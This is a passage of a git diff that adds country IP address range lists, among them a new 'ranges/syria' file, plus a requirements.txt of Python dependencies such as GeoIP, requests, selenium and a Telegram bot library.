+213.110.0.0-213.110.31.255 +213.110.32.0-213.110.63.255 +213.110.192.0-213.110.223.255 +213.110.224.0-213.110.255.255 +213.128.0.0-213.128.31.255 +213.128.192.0-213.128.223.255 +213.129.32.0-213.129.63.255 +213.129.96.0-213.129.127.255 +213.131.0.0-213.131.31.255 +213.132.64.0-213.132.95.255 +213.134.192.0-213.134.223.255 +213.135.64.0-213.135.95.255 +213.135.96.0-213.135.127.255 +213.135.128.0-213.135.159.255 +213.137.224.0-213.137.255.255 +213.138.64.0-213.138.95.255 +213.138.192.0-213.138.207.255 +213.140.96.0-213.140.127.255 +213.140.224.0-213.140.255.255 +213.141.128.0-213.141.159.255 +213.141.192.0-213.141.223.255 +213.141.224.0-213.141.255.255 +213.142.32.0-213.142.63.255 +213.142.192.0-213.142.223.255 +213.145.0.0-213.145.31.255 +213.145.32.0-213.145.63.255 +213.147.32.0-213.147.63.255 +213.147.192.0-213.147.223.255 +213.148.0.0-213.148.31.255 +213.148.160.0-213.148.191.255 +213.149.0.0-213.149.31.255 +213.150.64.0-213.150.95.255 +213.151.0.0-213.151.31.255 +213.152.128.0-213.152.159.255 +213.154.160.0-213.154.191.255 +213.155.192.0-213.155.223.255 +213.156.128.0-213.156.159.255 +213.156.192.0-213.156.223.255 +213.158.0.0-213.158.31.255 +213.159.64.0-213.159.95.255 +213.159.96.0-213.159.127.255 +213.159.192.0-213.159.223.255 +213.165.192.0-213.165.223.255 +213.167.32.0-213.167.63.255 +213.167.192.0-213.167.223.255 +213.168.32.0-213.168.63.255 +213.168.128.0-213.168.159.255 +213.170.64.0-213.170.95.255 +213.170.96.0-213.170.127.255 +213.171.0.0-213.171.31.255 +213.171.32.0-213.171.63.255 +213.172.0.0-213.172.31.255 +213.176.224.0-213.176.255.255 +213.177.96.0-213.177.127.255 +213.178.32.0-213.178.63.255 +213.180.192.0-213.180.223.255 +213.181.0.0-213.181.31.255 +213.182.160.0-213.182.191.255 +213.183.32.0-213.183.63.255 +213.183.96.0-213.183.127.255 +213.183.224.0-213.183.255.255 +213.184.128.0-213.184.159.255 +213.187.96.0-213.187.127.255 +213.189.192.0-213.189.223.255 +213.189.224.0-213.189.255.255 +213.190.224.0-213.190.255.255 +213.191.0.0-213.191.31.255 +213.193.0.0-213.193.31.255 +213.208.176.0-213.208.191.255 +213.210.64.0-213.210.127.255 +213.219.192.0-213.219.255.255 +213.221.0.0-213.221.63.255 +213.222.224.0-213.222.255.255 +213.228.64.0-213.228.127.255 +213.232.192.0-213.232.255.255 +213.234.0.0-213.234.31.255 +213.234.192.0-213.234.255.255 +213.241.192.0-213.241.255.255 +213.242.0.0-213.242.63.255 +213.242.192.0-213.242.255.255 +213.243.64.0-213.243.127.255 +213.246.0.0-213.246.31.255 +213.247.128.0-213.247.191.255 +213.247.192.0-213.247.255.255 +213.248.0.0-213.248.31.255 +213.248.32.0-213.248.63.255 +213.251.192.0-213.251.255.255 +213.252.64.0-213.252.127.255 +217.8.80.0-217.8.95.255 +217.8.224.0-217.8.239.255 +217.9.80.0-217.9.95.255 +217.9.144.0-217.9.159.255 +217.10.32.0-217.10.47.255 +217.12.32.0-217.12.47.255 +217.12.64.0-217.12.79.255 +217.12.96.0-217.12.111.255 +217.12.240.0-217.12.255.255 +217.13.208.0-217.13.223.255 +217.14.16.0-217.14.31.255 +217.14.48.0-217.14.63.255 +217.14.192.0-217.14.207.255 +217.14.240.0-217.14.255.255 +217.15.16.0-217.15.31.255 +217.15.48.0-217.15.63.255 +217.15.128.0-217.15.143.255 +217.15.144.0-217.15.159.255 +217.15.192.0-217.15.207.255 +217.16.16.0-217.16.31.255 +217.17.112.0-217.17.127.255 +217.17.160.0-217.17.175.255 +217.17.176.0-217.17.191.255 +217.18.128.0-217.18.143.255 +217.18.144.0-217.18.159.255 +217.19.96.0-217.19.111.255 +217.19.112.0-217.19.127.255 +217.20.64.0-217.20.79.255 +217.20.80.0-217.20.95.255 +217.20.144.0-217.20.159.255 +217.21.96.0-217.21.111.255 +217.21.208.0-217.21.223.255 +217.22.160.0-217.22.175.255 +217.23.16.0-217.23.31.255 +217.23.64.0-217.23.79.255 +217.23.80.0-217.23.95.255 +217.23.128.0-217.23.143.255 +217.23.144.0-217.23.159.255 +217.23.176.0-217.23.191.255 +217.24.112.0-217.24.127.255 +217.24.176.0-217.24.191.255 +217.25.80.0-217.25.95.255 +217.25.144.0-217.25.159.255 +217.25.208.0-217.25.223.255 +217.25.224.0-217.25.239.255 +217.26.0.0-217.26.15.255 +217.26.16.0-217.26.31.255 +217.27.128.0-217.27.143.255 +217.28.208.0-217.28.223.255 +217.28.224.0-217.28.239.255 +217.29.48.0-217.29.63.255 +217.29.80.0-217.29.95.255 +217.29.176.0-217.29.191.255 +217.30.240.0-217.30.255.255 +217.64.128.0-217.64.143.255 +217.65.0.0-217.65.15.255 +217.65.80.0-217.65.95.255 +217.65.208.0-217.65.223.255 +217.66.16.0-217.66.31.255 +217.66.64.0-217.66.79.255 +217.66.80.0-217.66.95.255 +217.66.144.0-217.66.159.255 +217.67.0.0-217.67.15.255 +217.67.112.0-217.67.127.255 +217.67.176.0-217.67.191.255 +217.69.128.0-217.69.143.255 +217.69.192.0-217.69.207.255 +217.69.208.0-217.69.223.255 +217.70.16.0-217.70.31.255 +217.70.96.0-217.70.111.255 +217.70.112.0-217.70.127.255 +217.71.128.0-217.71.143.255 +217.71.160.0-217.71.175.255 +217.71.224.0-217.71.239.255 +217.72.0.0-217.72.15.255 +217.72.144.0-217.72.159.255 +217.73.112.0-217.73.127.255 +217.73.192.0-217.73.207.255 +217.74.32.0-217.74.47.255 +217.74.112.0-217.74.127.255 +217.74.160.0-217.74.175.255 +217.74.240.0-217.74.255.255 +217.76.32.0-217.76.47.255 +217.76.176.0-217.76.191.255 +217.77.48.0-217.77.63.255 +217.77.96.0-217.77.111.255 +217.77.112.0-217.77.127.255 +217.78.176.0-217.78.191.255 +217.78.224.0-217.78.239.255 +217.79.0.0-217.79.15.255 +217.79.16.0-217.79.31.255 +217.79.48.0-217.79.63.255 +217.79.224.0-217.79.239.255 +217.106.0.0-217.106.255.255 +217.107.0.0-217.107.63.255 +217.107.64.0-217.107.127.255 +217.107.128.0-217.107.191.255 +217.107.208.0-217.107.223.255 +217.107.224.0-217.107.255.255 +217.112.0.0-217.112.15.255 +217.112.16.0-217.112.31.255 +217.113.112.0-217.113.127.255 +217.114.0.0-217.114.15.255 +217.114.16.0-217.114.31.255 +217.114.32.0-217.114.47.255 +217.114.144.0-217.114.159.255 +217.114.176.0-217.114.191.255 +217.114.224.0-217.114.239.255 +217.114.240.0-217.114.255.255 +217.115.80.0-217.115.95.255 +217.115.176.0-217.115.191.255 +217.116.48.0-217.116.63.255 +217.116.128.0-217.116.143.255 +217.116.144.0-217.116.159.255 +217.117.80.0-217.117.95.255 +217.117.112.0-217.117.127.255 +217.117.176.0-217.117.191.255 +217.117.240.0-217.117.255.255 +217.118.64.0-217.118.79.255 +217.118.80.0-217.118.95.255 +217.118.176.0-217.118.191.255 +217.119.16.0-217.119.31.255 +217.119.80.0-217.119.95.255 +217.144.96.0-217.144.111.255 +217.144.160.0-217.144.175.255 +217.144.176.0-217.144.191.255 +217.145.16.0-217.145.31.255 +217.145.144.0-217.145.159.255 +217.146.32.0-217.146.47.255 +217.147.0.0-217.147.15.255 +217.147.16.0-217.147.31.255 +217.148.48.0-217.148.63.255 +217.148.192.0-217.148.207.255 +217.148.208.0-217.148.223.255 +217.149.16.0-217.149.31.255 +217.149.176.0-217.149.191.255 +217.150.0.0-217.150.15.255 +217.150.16.0-217.150.31.255 +217.150.32.0-217.150.47.255 +217.150.48.0-217.150.63.255 +217.150.192.0-217.150.207.255 +217.151.16.0-217.151.31.255 +217.151.64.0-217.151.79.255 +217.151.128.0-217.151.143.255 +217.168.64.0-217.168.79.255 +217.168.240.0-217.168.255.255 +217.169.80.0-217.169.95.255 +217.170.64.0-217.170.79.255 +217.170.80.0-217.170.95.255 +217.170.112.0-217.170.127.255 +217.170.208.0-217.170.223.255 +217.171.0.0-217.171.15.255 +217.171.144.0-217.171.159.255 +217.172.16.0-217.172.31.255 +217.173.16.0-217.173.31.255 +217.173.64.0-217.173.79.255 +217.174.0.0-217.174.15.255 +217.174.96.0-217.174.111.255 +217.174.160.0-217.174.175.255 +217.174.176.0-217.174.191.255 +217.175.16.0-217.175.31.255 +217.175.32.0-217.175.47.255 +217.175.128.0-217.175.143.255 +217.175.144.0-217.175.159.255 +217.194.240.0-217.194.255.255 +217.195.64.0-217.195.79.255 +217.195.80.0-217.195.95.255 +217.195.96.0-217.195.111.255 +217.195.208.0-217.195.223.255 +217.196.96.0-217.196.111.255 +217.197.0.0-217.197.15.255 +217.197.112.0-217.197.127.255 +217.197.192.0-217.197.207.255 +217.197.224.0-217.197.239.255 +217.197.240.0-217.197.255.255 +217.198.0.0-217.198.15.255 +217.198.80.0-217.198.95.255 +217.198.160.0-217.198.175.255 +217.198.176.0-217.198.191.255 +217.199.208.0-217.199.223.255 +217.199.240.0-217.199.255.255 diff --git a/ranges/syria b/ranges/syria new file mode 100644 index 0000000..2238317 --- /dev/null +++ b/ranges/syria @@ -0,0 +1,35 @@ +5.0.0.0-5.0.255.255 +5.134.224.0-5.134.255.255 +31.9.0.0-31.9.255.255 +31.193.64.0-31.193.79.255 +37.48.128.0-37.48.191.255 +37.48.192.0-37.48.223.255 +46.53.0.0-46.53.127.255 +46.57.128.0-46.57.255.255 +46.58.128.0-46.58.255.255 +46.161.192.0-46.161.255.255 +46.213.0.0-46.213.255.255 +77.44.128.0-77.44.255.255 +78.110.96.0-78.110.111.255 +78.155.64.0-78.155.95.255 +82.137.192.0-82.137.255.255 +88.86.0.0-88.86.31.255 +90.153.128.0-90.153.255.255 +91.144.0.0-91.144.63.255 +94.141.192.0-94.141.223.255 +94.252.128.0-94.252.255.255 +95.140.96.0-95.140.111.255 +95.159.0.0-95.159.63.255 +109.238.144.0-109.238.159.255 +130.0.240.0-130.0.255.255 +130.180.128.0-130.180.191.255 +178.52.0.0-178.52.255.255 +178.171.128.0-178.171.255.255 +178.253.64.0-178.253.127.255 +188.139.128.0-188.139.255.255 +188.160.0.0-188.160.255.255 +188.229.128.0-188.229.255.255 +188.247.0.0-188.247.31.255 +212.11.192.0-212.11.223.255 +213.178.224.0-213.178.255.255 +217.20.208.0-217.20.223.255 \ No newline at end of file diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..9b7ea2c --- /dev/null +++ b/requirements.txt @@ -0,0 +1,14 @@ +GeoIP +pytelegrambotapi +requests +pillow +netaddr +requests +BeautifulSoup4 +selenium +pymongo +urllib3 +zmq +jsoncomment +rq +pyyaml \ No newline at end of file